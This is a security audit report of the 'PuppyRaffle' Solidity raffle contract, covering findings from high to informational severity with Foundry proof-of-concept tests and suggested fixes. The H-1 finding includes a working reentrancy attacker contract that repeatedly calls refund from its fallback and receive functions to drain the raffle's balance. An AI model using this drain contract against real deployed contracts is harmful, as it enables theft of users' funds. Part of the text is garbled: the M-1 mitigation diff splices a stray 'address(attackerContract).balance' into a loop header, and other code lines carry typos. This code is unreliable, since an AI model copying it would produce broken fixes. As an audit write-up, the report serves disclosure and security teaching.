PuppyRaffle Audit Report

Version 1.0

Ameer Hamza

March 24, 2025

Protocol Audit Report

Ameer Hamza

March 24, 2025

Prepared by: Ameer Hamza Lead Auditors: - Ameer Hamza

Table of Contents

    * [M-1] Looping through players array to check duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increasing gas costs for future entrants
    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variable should be declared `immutable` or `constant`
    * [G-2] Storage variable in a loop should be cached
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Address State Variable Set Without Checks
    * [I-4] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice.
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Ameer Hamza makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved writing this audit report. Learned so much and wrote so much :). It's all about teaching mentality, and never skipping or ignoring small details.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Informational	7
Total	15

Findings

High

[H-1] Reentrancy attack in `puppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3
4         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
6
7 @>      payable(msg.sender).sendValue(entranceFee);
8 @>      players[playerIndex] = address(0);
```

```
9
10          emit RaffleRefunded(playerAddress);
11      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another fund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1       function test_Reentrancy() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10              puppyRaffle
11          );
12          address attackUser = makeAddr("attackUser");
13          vm.deal(attackUser, 1 ether);
14
15          uint256 startingAttackContractBalance = address(
                attackerContract)
16              .balance;
17          uint256 startingContractBalance = address(puppyRaffle).balance;
18
19          // attack
20          vm.prank(attackUser);
21          attackerContract.attack{value: entranceFee}();
22
23          console2.log("Starting attacker contract balance: ",
                startingAttackContractBalance);
```

```
24          console2.log("Starting contract balance: ",
                startingContractBalance);
25          console2.log("Ending attacker contract balance: ", address(
                attackerContract)
26              .balance);
27          console2.log("Ending contract balance: ", address(puppyRaffle).
                balance);
28      }
```

And this contract as well

```
1
2  contract ReentrancyAttacker {
3      PuppyRaffle puppyRaffle;
4      uint256 entranceFee;
5      uint256 attackerIndex;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making any external call. Additionally, we should move the event emission up as well.

```
1
2       function refund(uint256 playerIndex) public {
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness see is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF. Here you can see their latest documentation

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to overflows.

```
    uint64 myVar = type(uint64).max
    // myVar = 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving the fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// it will be equal to
totalFees = 800000000000000000 + 17800000000000000000
// this will overflow. the result will be

totalFees = 153255926290448384
```

4. You'll not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
```

```
11          }
12
13          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
14
15          vm.warp(block.timestamp + duration + 1);
16          vm.roll(block.number + 1);
17
18          puppyRaffle.selectWinner();
19          uint256 endingTotalFees = puppyRaffle.totalFees();
20          console2.log("ending total fees", endingTotalFees);
21          assert(endingTotalFees < startingTotalFees);
22
23          vm.prank(puppyRaffle.feeAddress());
24          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
25          puppyRaffle.withdrawFees();
26      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin for version `0.7.6` of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -         require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increasing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the larger the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts, will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1           //@audit Dos Attack
2   @>      for (uint256 i = 0; i < players.length - 1; i++) {
```

```
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one enters, guarenteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6523122 gas
- 2nd 100 players: ~18995462 gas

This is around 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
1     function testCanCauseDosAttack() public {
2         vm.txGasPrice(1);
3
4         uint256 total_players = 100;
5
6         address[] memory players_1 = new address[](total_players);
7         for (uint256 i = 0; i < total_players; i++) {
8             players_1[i] = address(i + 1);
9         }
10
11        uint256 gas_before_first_round = gasleft();
12        puppyRaffle.enterRaffle{value: entranceFee * total_players}(
              players_1);
13        uint256 gas_after_first_round = gasleft();
14
15        uint256 gas_consumed_for_first_round = (gas_before_first_round
              -
16            gas_after_first_round) * tx.gasprice;
17        console2.log("First round gas:", gas_consumed_for_first_round);
18
19        address[] memory players_2 = new address[](total_players);
20        for (uint256 i = 0; i < total_players; i++) {
21            players_2[i] = address(total_players + i + 1);
22        }
```

```
23
24          uint256 gas_before_second_round = gasleft();
25          puppyRaffle.enterRaffle{value: entranceFee * total_players}(
                players_2);
26          uint256 gas_after_second_round = gasleft();
27
28          uint256 gas_consumed_for_second_round = (
                gas_before_second_round -
29               gas_after_second_round) * tx.gasprice;
30          console2.log("Second round gas:", gas_consumed_for_second_round
                );
31
32          assert(gas_consumed_for_second_round >
                gas_consumed_for_first_round);
33      }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anywas, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for dupplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId=0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8
9           for (uint256 i = 0; i < newPlayers.length; i++) {
10              players.push(newPlayers[i]);
11              addressToRaffleId[newPlayers[i]]=raffleId;
12          }
13
14 -        // Check for duplicates
15 +        // Check for duplicates only from new players
16 +        for (uint256 i = 0; i < newPlayers.length; i++) {
17 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
18 +        }
19 -        for (uint256 iaddress(attackerContract)
20              .balance = 0; i < players.length - 1; i++) {
21 -            for (uint256 j = i + 1; j < players.length; j++) {
22 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
23 -            }
24 -        }
```

```
25
26          emit RaffleEnter(newPlayers);
27      }
28  .
29  .
30  .
31      function selectWinner() external{
32  +       raffleId = raffleId + 1;
33          require(bloc.timestamp>=raffleStartTime+raffleDuration, "
                PuppyRaffle: Raffle not over");
34      }
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/5.x/

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery wouldn't be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants. (not recommended)
2. Create a mapping of address -> payout so winners can pull their funds out themselves, putting the owness on the owner to claim their prize. (recommended)

Low

[L-1] `PuppyRaffle` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if player is not in the array, instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] Unchanged state variable should be declared `immutable` or `constant`

Reading from storage is expensive than reading from a `constant` or `immutable` variables.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length`, it reads from storage. You should read from memory because it's gas efficient.

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;` use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol 2:17

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 190

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` doesn't follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

Examples:

```
1       uint256 prizePool = (totalAmountCollected * 80) / 100;
2       uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
1       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2       uint256 public constant FEE_PERCENTAGE = 20;
3       uint256 public constant POOL_PERCISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed